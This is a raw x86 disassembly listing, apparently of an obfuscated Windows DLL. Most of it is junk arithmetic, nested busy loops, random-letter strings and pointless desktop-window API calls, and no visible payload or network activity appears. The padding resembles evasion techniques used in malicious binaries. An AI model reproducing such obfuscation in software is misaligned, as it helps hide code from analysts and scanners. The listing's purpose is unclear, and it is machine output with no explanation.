push 1
push ecx
push 0x3697
call fcn.10035d4d
mov dword [ebp - 0x28], 0xfffffff2
add esp, 0x24
cmp dword [ebp - 0x28], 0xffffffed
je 0x10037d48
xor eax, eax
inc eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 0xd
jl 0x10037d3f
push eax
lea ecx, [ebp - 0xa1]
mov byte [ebp - 0xa1], bl
push ecx
push 0x3abb
push eax
push eax
push 0x1d56
mov edx, 0xc8
mov ecx, 0x6e34
call fcn.10035dd9
add esp, 0x18
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xd
push 1
pop eax
jge 0x10037d07
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xffffffed
jne 0x10037cfb
cmp dword [ebp - 0xcc], 0
jle 0x10036fbf
cmp dword [ebp - 0xcc], 0x27ca
jae 0x10036fbf
mov dword [ebp - 0x20], 0xfffffff7
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x110], 0x8f90a3cf
mov dword [ebp - 0x50], 8
mov dword [ebp - 0x18], ebx
jmp 0x10037dba
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x35c], 0xa28c7fff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10037da9
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
sub edx, eax
mov eax, dword [ebp - 0x20]
cmp eax, edx
setl cl
mov dword [ebp - 0x18], ecx
xor ecx, ecx
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp eax, edx
setge cl
xor edx, edx
mov dword [ebp - 0x20], ecx
mov ecx, dword [ebp - 0x110]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
setl dl
cmp edx, 0xfff7
jbe 0x10037f12
cmp dword [ebp - 0x110], ebx
je 0x10037f12
lea eax, [ebp - 0x110]
mov dword [ebp - 0x210], 0x486b6feb
push eax
push 1
push ecx
mov edx, 0x126c
lea ecx, [ebp - 0x210]
call fcn.10036267
mov dword [ebp - 0x2c], 0x2537
add esp, 0xc
cmp dword [ebp - 0x2c], 0x2665
jle 0x10037ed2
push 0x25a
push 0x19fb
push ebx
call dword [sym.imp.USER32.dll_CheckMenuItem]
mov edx, ebx
mov dword [ebp - 0x24], ebx
mov edi, ebx
mov esi, ebx
mov ecx, esi
mov eax, edi
sar eax, cl
lea ecx, [ebp - 0x488]
or eax, edx
cdq
push edx
push eax
call fcn.10001a94
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10037e8b
mov eax, dword [eax]
push eax
call fcn.1004252f
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x488]
call fcn.100038eb
mov edx, dword [ebp - 0x24]
inc esi
cmp esi, 0x1a20
jl 0x10037e6b
inc edi
cmp edi, 0x2903
jl 0x10037e69
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 0x77a8
jl 0x10037e67
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowOwnedPopups]
or edi, 0xffffffff
cmp dword [ebp - 0x2c], 0x2200
jge 0x10037ee6
push str.twkpw_pfufruokg_tchgp_cldvcwnt_ijnhp_kloxuadz_bawrlhv_sozkqd_oreeiyx_xhoruf_hly_ufxqaan
call fcn.1004252f
pop ecx
mov dword [ebp - 4], edi
mov byte [ebp - 0x39], bl
cmp byte [ebp - 0x39], 0
je 0x10037f5a
xor eax, eax
mov ecx, 0x3b6a
push 0x1463
inc eax
push eax
push 0x71e3
push ebx
mov dl, al
call fcn.100369da
add esp, 0x10
jmp 0x10037f5a
mov dword [ebp - 0x50], 6
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x50], 0x426a7609
mov dword [ebp - 0x50], 1
mov dword [ebp - 0x50], 0x7f05f432
mov dword [ebp - 0x2c], 0x2455f992
mov dword [ebp - 0x18], ebx
jmp 0x10037f51
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x528], 0x9b8fa48a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10037f40
dec dword [ebp - 0x2c]
mov dword [ebp - 0x20], ebx
jmp 0x10037f9f
mov dword [ebp - 0x18], 2
cmp dword [ebp - 0x18], ebx
jl 0x10037f9c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + eax*4 - 0x35c]
mov eax, dword [ebp - 0x20]
cmp edi, eax
sbb eax, eax
neg eax
inc eax
imul ecx, eax
mov eax, dword [ebp - 0x20]
sub ecx, 0x552ded14
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp + eax*4 - 0x35c], ecx
dec dword [ebp - 0x18]
jns 0x10037f6b
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jle 0x10037f5f
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0xcc]
push eax
push 0x1899
push 1
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x1e0]
push eax
push 1
push ebx
lea edx, [ebp - 0x61]
lea ecx, [ebp - 0x140]
call fcn.100363c5
add esp, 0x20
mov dword [ebp - 0x48], 0x2577
cmp dword [ebp - 0x48], 0x908
jge 0x1003807b
push 0x10075710
push 0x10075718
push 0x10075714
push str._d__d__d
call fcn.100422fb
xor eax, eax
add esp, 0x10
inc eax
mov edi, eax
cmp dword [0x10075714], eax
jl 0x10038037
mov esi, 0x10075724
push esi
push 0x100633e0
call fcn.100422fb
inc edi
add esi, 4
pop ecx
pop ecx
cmp edi, dword [0x10075714]
jle 0x1003801e
mov eax, dword [0x10075718]
mov esi, ebx
cmp eax, dword [0x10075710]
jne 0x10038058
push esi
push 0x100633f4
call fcn.1004252f
mov eax, dword [0x10075718]
pop ecx
pop ecx
mov eax, dword [eax*4 + 0x10075720]
inc esi
mov dword [0x10075718], eax
cmp esi, 0x84
jle 0x1003803e
push 0x10065040
call fcn.100426e6
pop ecx
or edi, 0xffffffff
mov dword [ebp - 0x50], 0x124f01c0
xor eax, eax
mov dword [ebp - 0x50], 0xc29a3df6
inc eax
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x294], eax
mov dword [ebp - 0x290], eax
mov dword [ebp - 0x28c], eax
mov dword [ebp - 0x288], eax
mov dword [ebp - 0x50], 0xd2d1a4e6
mov dword [ebp - 0x18], ebx
jmp 0x100380c4
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x394], 0xdd3f4672
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x100380b3
push ecx
push 0x3173
mov edx, 0x6d12
xor cl, cl
call fcn.10036675
dec dword [ebp - 0x288]
mov edx, 0x614d
pop ecx
pop ecx
push 0x100d8740
push ecx
push 0x29e1
mov cl, 1
call fcn.100340a8
mov dword [ebp - 0x20], 0x23b1a956
add esp, 0xc
mov dword [ebp - 0x1c], 0xfffffffb
mov dword [ebp - 0x18], 0x93be41b0
mov dword [ebp - 0x38], 0x4566
cmp dword [ebp - 0x38], 0x4632
jle 0x1003818e
mov edi, ebx
mov dword [ebp - 0x30], ebx
mov esi, ebx
mov dword [ebp - 0x2c], ebx
lea eax, [esi + edi]
mov esi, 0x7d9c
mov dword [ebp - 0x48], eax
mov edi, eax
mov eax, edi
lea ecx, [ebp - 0x404]
cdq
push edx
push eax
call fcn.10001a94
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10038154
mov eax, dword [eax]
push eax
call fcn.1004252f
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x404]
call fcn.100038eb
dec edi
dec esi
jne 0x1003813a
mov esi, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x30]
inc esi
mov dword [ebp - 0x2c], esi
cmp esi, 0x5992
jl 0x1003812d
inc edi
mov dword [ebp - 0x30], edi
cmp edi, 0x26f4
jl 0x10038128
or edi, 0xffffffff
mov dword [ebp - 0x28], edi
cmp dword [ebp - 0x38], 0x44cf
jge 0x100381a5
push str.mmnzv_jrmrwuro_pctfxfi_auw_lzetf_joamexxu_bdvil
call fcn.1004252f
pop ecx
mov dword [ebp - 4], edi
xor ecx, ecx
mov dword [ebp - 0x24], 0xabe4a9ff
inc ecx
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jne 0x1003831b
push 3
mov dword [ebp - 0x18], ebx
pop ecx
jmp 0x100381fb
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf0], 0x709e8e54
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x100381ea
mov dword [ebp - 0x18], ebx
jmp 0x10038216
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x368], 0xfffffff7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10038205
mov dword [ebp - 0x18], 0x7221
xor edx, edx
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x18], 0xfffffffa
mov ecx, dword [ebp - 0xf0]
mov eax, dword [ebp - 0xec]
cmp ecx, eax
mov eax, dword [ebp - 0xe8]
setl dl
xor ebx, ebx
cmp edx, eax
sete bl
xor ecx, ecx
mov dword [ebp - 0x364], ebx
mov eax, dword [ebp - 0x28]
cmp ebx, eax
setge cl
imul eax, ecx, 0xd0ab
test eax, eax
jne 0x1003827b
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp - 0xec]
xor ecx, ecx
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0xec]
cmp eax, 0x2252
push 0xfffffffffffffffe
setle cl
mov dword [ebp - 0x28], ecx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
add eax, 0xffff0914
add eax, ecx
pop edx
cmp edx, eax
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, 0x5e5ab8bf
setge cl
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0xf0]
mov eax, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
xor ebx, ebx
neg ecx
sub ecx, eax
cmp ecx, dword [ebp - 0x1c]
jl 0x100382f3
cmp dword [ebp - 0xe8], ebx
jne 0x100382f3
mov ecx, ebx
jmp 0x100382f6
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x20]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xe8]
setge dl
xor ecx, ecx
imul edx, eax
mov eax, dword [ebp - 0x1c]
cmp edx, eax
setne cl
mov dword [ebp - 0x30], ecx
jmp 0x10038419
mov dword [ebp - 0x2c], 0x2a8e6f95
mov dword [ebp - 0x18], ebx
jmp 0x10038334
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xc4], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10038327
push ecx
push ecx
mov ecx, 0x64e
call fcn.10035b3a
pop ecx
pop ecx
mov dword [ebp - 0x18], 8
jmp 0x1003840f
mov dword [ebp - 0x20], 6
mov dword [ebp - 0x2c], 0xbd444c67
mov dword [ebp - 0x2c], ebx
cmp dword [ebp - 0xc4], ebx
je 0x100383b1
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc4]
cmp eax, 0x64cc
setl cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xc4]
cmp dword [ebp - 0xc4], ebx
je 0x100383b1
xor eax, eax
inc eax
jmp 0x100383b3
mov eax, ebx
mov dword [ebp - 0x2c], 0xfffe
xor edx, edx
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
cmp eax, ecx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x20]
setg dl
sub ecx, eax
imul edx, ecx
xor ecx, ecx
imul eax, edx, 0xd411
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xc4]
test eax, eax
sets cl
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0xc4]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x24], eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffe9
jne 0x10038354
mov dword [ebp - 0xd4], ebx
mov dword [ebp - 0x2c], 0x434c
cmp dword [ebp - 0x2c], 0x45b6
jle 0x1003846a
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnumChildWindows]
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
sar eax, cl
mov ecx, 0x10073998
cdq
push edx
push eax
call fcn.100034ac
inc edi
cmp edi, 0x44db
jl 0x10038442
inc esi
cmp esi, 0x5a38
jl 0x10038440
or edi, 0xffffffff
mov dword [ebp - 4], 0x11
cmp dword [ebp - 0x2c], 0x42c4
jge 0x100384aa
mov edx, str.bnd_yfbypog_mis_uxdrhlkdb_rte_kckoubew_iqo_zfxnj_cybhxhggt_vdo_kcamjbktb_javkdyqbt_zzrwmcg
mov ecx, 0x10073998
call fcn.10005649
jmp 0x100384aa
mov dword [ebp - 4], edi
xor edx, edx
mov dword [ebp - 0x28], 0xffff
inc edx
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x50], 0x5533f2a6
mov dword [ebp - 0x50], edx
push 3
mov dword [ebp - 0x50], 0x3763964e
pop esi
mov dword [ebp - 0x18], ebx
jmp 0x100384e4
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x328], 0xe1e87df2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x100384d3
mov dword [ebp - 0x18], ebx
jmp 0x100384ff
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x320], 0x4a4e7fb1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x100384ee
cmp dword [ebp - 0x28], ebx
je 0x1003867d
mov dword [ebp - 0x24c], ebx
mov dword [ebp - 0x248], ebx
mov dword [ebp - 0x244], ebx
mov dword [ebp - 0x240], ebx
mov dword [ebp - 0x24], 0x881dda8
mov dword [ebp - 0x48], 0x9c214f16
mov dword [ebp - 0x28], ebx
jmp 0x1003866b
mov dword [ebp - 0x20], 0xfffffffa
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x18], ebx
jmp 0x1003855a
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x158], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1003854d
mov dword [ebp - 0x20], ebx
jmp 0x10038659
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x18], ebx
jmp 0x1003857c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2dc], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1003856f
mov dword [ebp - 0x18], ebx
jmp 0x10038593
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x33c], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10038586
mov ecx, dword [ebp - 0x2d4]
mov eax, dword [ebp - 0x2d4]
neg ecx
push 0xfffffffffffffffe
sbb ecx, ecx
neg ecx
sub ecx, eax
pop eax
cmp eax, ecx
mov ecx, dword [ebp - 0x28]
sbb eax, eax
xor edx, edx
inc eax
add ecx, eax
mov eax, dword [ebp - 0x28]
cmp eax, ecx
setg dl
neg edx
cmp edx, 0x4fd5
jle 0x100385d8
cmp dword [ebp - 0x28], ebx
je 0x100385d8
xor edx, edx
inc edx
jmp 0x100385da
mov edx, ebx
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x24]
sete cl
xor edx, edx
cmp ecx, eax
setg dl
sub edx, 0xef2f37fc
neg edx
sbb edx, edx
inc edx
imul eax, edx, 0x36ae
test eax, eax
jne 0x10038612
cmp dword [ebp - 0x158], ebx
jne 0x10038612
xor edx, edx
mov eax, ebx
inc edx
jmp 0x10038617
xor edx, edx
inc edx
mov eax, edx
cmp edx, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x248]
sub ecx, eax
mov eax, dword [ebp - 0x48]
inc dword [ebp - 0x248]
cmp ecx, eax
mov eax, edx
cmove eax, ebx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0x2d4]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x33c], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x10038567
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x40], eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jle 0x1003853b
mov dword [ebp - 0x30], 0xfffffffa
jmp 0x100386cb
mov dword [ebp - 0x50], 0xfffffff6
mov dword [ebp - 0x50], 0xb2a93f04
mov dword [ebp - 0x50], 0x6ad982fc
mov dword [ebp - 0x204], 0x9242
mov dword [ebp - 0x18], ebx
jmp 0x100386b2
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x458], 0x53649d95
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x100386a1
lea eax, [ebp - 0x204]
xor cl, cl
push eax
sub esp, 0xc
call fcn.10034f2f
add esp, 0x10
mov eax, dword [ebp - 0x140]
xor edx, edx
mov dword [ebp - 0x38], 0xd13d8c53
add eax, 4
mov dword [ebp - 0x2c], 0xed99ea7e
inc edx
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x20], 8
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x18], ebx
jmp 0x10038705
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x74], 0xb9f9b31
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x100386f7
mov dword [ebp - 0x18], ebx
jmp 0x10038720
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1f4], 0xd4aa41a8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1003870f
mov dword [ebp - 0x74], 0xfffffff3
cmp dword [ebp - 0x74], 0xffffffed
jg 0x10038a0b
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x2c], 0xc4365de
mov dword [ebp - 0x28], 0x26de0d61
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], 0x9d6b
mov dword [ebp - 0x68], edi
mov dword [ebp - 0x24], 0xfca19ab6
mov dword [ebp - 0x30], 0x7c40
mov dword [ebp - 0x34], 0xe87a
mov dword [ebp - 0x18], ebx
jmp 0x10038780
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xb0], 0xfffffff9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1003876f
mov dword [ebp - 0x18], ebx
jmp 0x1003879b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x434], 4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1003878a
inc dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
dec dword [ebp - 0x24]
cmp eax, ecx
cmovne ebx, edx
xor eax, eax
cmp ebx, 0x57d884bb
sete al
xor edx, edx
imul eax, dword [ebp - 0xb0]
imul ecx, eax, 0x8714
mov eax, dword [ebp - 0x1f4]
cmp ecx, eax
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x74]
setne dl
xor ebx, ebx
cmp eax, edx
mov eax, dword [ebp - 0x1f0]
setge bl
xor edx, edx
imul ecx, ebx
cmp ecx, eax
setl dl
inc edx
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp edx, edi
setg al
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1f0]
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x24], 1
mov eax, dword [ebp - 0x74]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp eax, ecx
mov eax, dword [ebp - 0x74]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setne cl
sub eax, ecx
mov dword [ebp - 0xb0], eax
jne 0x1003883b
mov eax, dword [ebp - 0x1c]
xor ebx, ebx
cmp dword [ebp - 0xb0], ebx
je 0x100389f8
mov dword [ebp - 0x28], 0x5f77832
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x50], 0x387b67a0
mov dword [ebp - 0x50], 1
mov dword [ebp - 0x2c], 0x211c
cmp dword [ebp - 0x2c], 0x22a6
jle 0x100388eb
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCurrentPositionEx]
mov ecx, ebx
mov dword [ebp - 0x24], ebx
mov edi, ebx
mov esi, ebx
mov eax, edi
cdq
idiv esi
mov eax, ecx
mov ecx, edx
sar eax, cl
lea ecx, [ebp - 0x428]
cdq
push edx
push eax
call fcn.10001a94
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100388b2
mov eax, dword [eax]
push eax
call fcn.1004252f
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x428]
call fcn.100038eb
mov ecx, dword [ebp - 0x24]
inc esi
cmp esi, 0x299a
jl 0x1003888f
inc edi
cmp edi, 0x73c4
jl 0x1003888d
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0x62f
jl 0x1003888b
or edi, 0xffffffff
mov dword [ebp - 0x18], ebx
jmp 0x10038901
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x3c4], 0x2d56ab65
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x100388f0
cmp dword [ebp - 0x2c], 0x2026
jge 0x1003891b
push str.gyesujxpb_oqhk_apsenel_dmemfoify_crtvnrd_mvmcpgk_bke_ipozs_imqhb_tilukagi_jevdlaec
call fcn.1004252f
pop ecx
xor ecx, ecx
mov dword [ebp - 4], edi
mov dword [ebp - 0x18], ebx
inc ecx
jmp 0x10038933
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1cc], edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10038926
cmp dword [ebp - 0x28], ebx
je 0x10038940
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
xor edx, edx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x74]
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setge dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0xb0]
add eax, dword [ebp - 0x20]
inc dword [ebp - 0x20]
cmp eax, 0x79f7
jl 0x100389c5
mov esi, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x44]
neg esi
mov eax, dword [ebp - 0x38]
sbb esi, esi
xor edx, edx
neg esi
cmp eax, ecx
mov eax, dword [ebp - 0xb0]
setge dl
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
test ecx, ecx
setns al
xor ecx, ecx
dec eax
cmp esi, eax
sete cl
test ecx, ecx
jne 0x100389c5
inc ecx
jmp 0x100389c7
mov ecx, ebx
xor eax, eax
cmp ecx, 0x1153
mov ecx, 0x3fcc3eae
setne al
xor edx, edx
sub ecx, eax
mov eax, dword [ebp - 0x1cc]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
push 3
setle dl
xor ecx, ecx
cmp edx, eax
pop esi
setg cl
mov dword [ebp - 0x28], ecx
jmp 0x100389fd
cmp dword [ebp - 0x20], ebx
jne 0x10038a08
dec dword [ebp - 0x74]
xor edx, edx
inc edx
jmp 0x1003872d
xor edx, edx
inc edx
mov dword [ebp - 0x18], 0x6432a276
mov dword [ebp - 0x50], 0x5e81a7ec
mov dword [ebp - 0x18], ebx
jmp 0x10038a2f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x348], 0x55bb2c21
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10038a1e
mov dword [ebp - 0x18], ebx
jmp 0x10038a4b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1d4], 6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x10038a3a
mov dword [ebp - 0x18], ebx
jmp 0x10038aa2
mov byte [ebp - 0x39], bl
cmp byte [ebp - 0x39], 0
je 0x10038a8f
push 0x1efb
push 0x35be
push 0x5fdd
push edx
push 0x2563
push 0x7825
push ebx
push edx
mov edx, 0x26a8
mov ecx, 0x3d8f
call fcn.100363c5
xor edx, edx
add esp, 0x20
inc edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x348]
mov dword [ebp - 0x1d4], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jle 0x10038a55
mov byte [ebp - 0x94], bl
mov dword [ebp - 0x93], 0xd64c04a2
mov word [ebp - 0x8f], 0x11d9
mov dword [ebp - 0x68], esi
mov dword [ebp - 0x18], ebx
jmp 0x10038ad5
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xd8], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x10038ac8
mov dword [ebp - 0x18], ebx
jmp 0x10038aed
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x80], 0x5c8094a1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x10038adf
mov dword [ebp - 0x80], ebx
cmp dword [ebp - 0x80], ebx
jg 0x10038c54
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x68], edi
mov dword [ebp - 0x44], 2
mov dword [ebp - 0x40], 0xfffb
mov dword [ebp - 0x2c], 0xfffffffc
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
jg 0x10038c4c
push ecx
push ecx
lea eax, [ebp - 0xe0]
mov dword [ebp - 0xe0], 0xd6923607
push eax
mov dword [ebp - 0x34], 0xedaacda2
push ebx
call fcn.100359ca
mov dword [ebp - 0x30], 0x762f
add esp, 0x10
cmp dword [ebp - 0x30], 0x7779
jle 0x10038ba9
mov esi, ebx
mov dword [ebp - 0x2c], ebx
mov edi, esi
mov esi, 0x997
mov eax, edi
lea ecx, [ebp - 0x44c]
cdq
push edx
push eax
call fcn.10001a94
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10038b7e
mov eax, dword [eax]
push eax
call fcn.1004252f
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x44c]
call fcn.100038eb
dec edi
dec esi
jne 0x10038b64
mov esi, dword [ebp - 0x2c]
inc esi
mov dword [ebp - 0x2c], esi
cmp esi, 0x458
jl 0x10038b5d
or edi, 0xffffffff
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp + eax*4 - 0xd8]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xd8], 0xea7e
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xd8]
cmp dword [ebp - 0x44], ebx
jne 0x10038bdf
mov eax, dword [ebp - 0x80]
cmp dword [ebp + eax*4 - 0xd8], ebx
je 0x10038be2
xor ebx, ebx
inc ebx
mov eax, dword [ebp - 0x18]
xor edx, edx
imul eax, dword [ebp - 0x18]
imul eax, ebx
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
cmp ecx, eax
mov eax, dword [ebp - 0xe0]
setl dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x34]
setge bl
xor ecx, ecx
cmp ebx, eax
setge cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x30], 0x7556
jge 0x10038c3f
push str.wbjdaccue_gdfh_ycdbyvwsg_wcrqghmp_bnwm_nbznippz_uucadilhl_yel_txvz_xoebw_hkxvqgaqj_argi_uqf
call fcn.1004252f
pop ecx
mov dword [ebp - 4], edi
inc dword [ebp - 0x18]
xor ebx, ebx
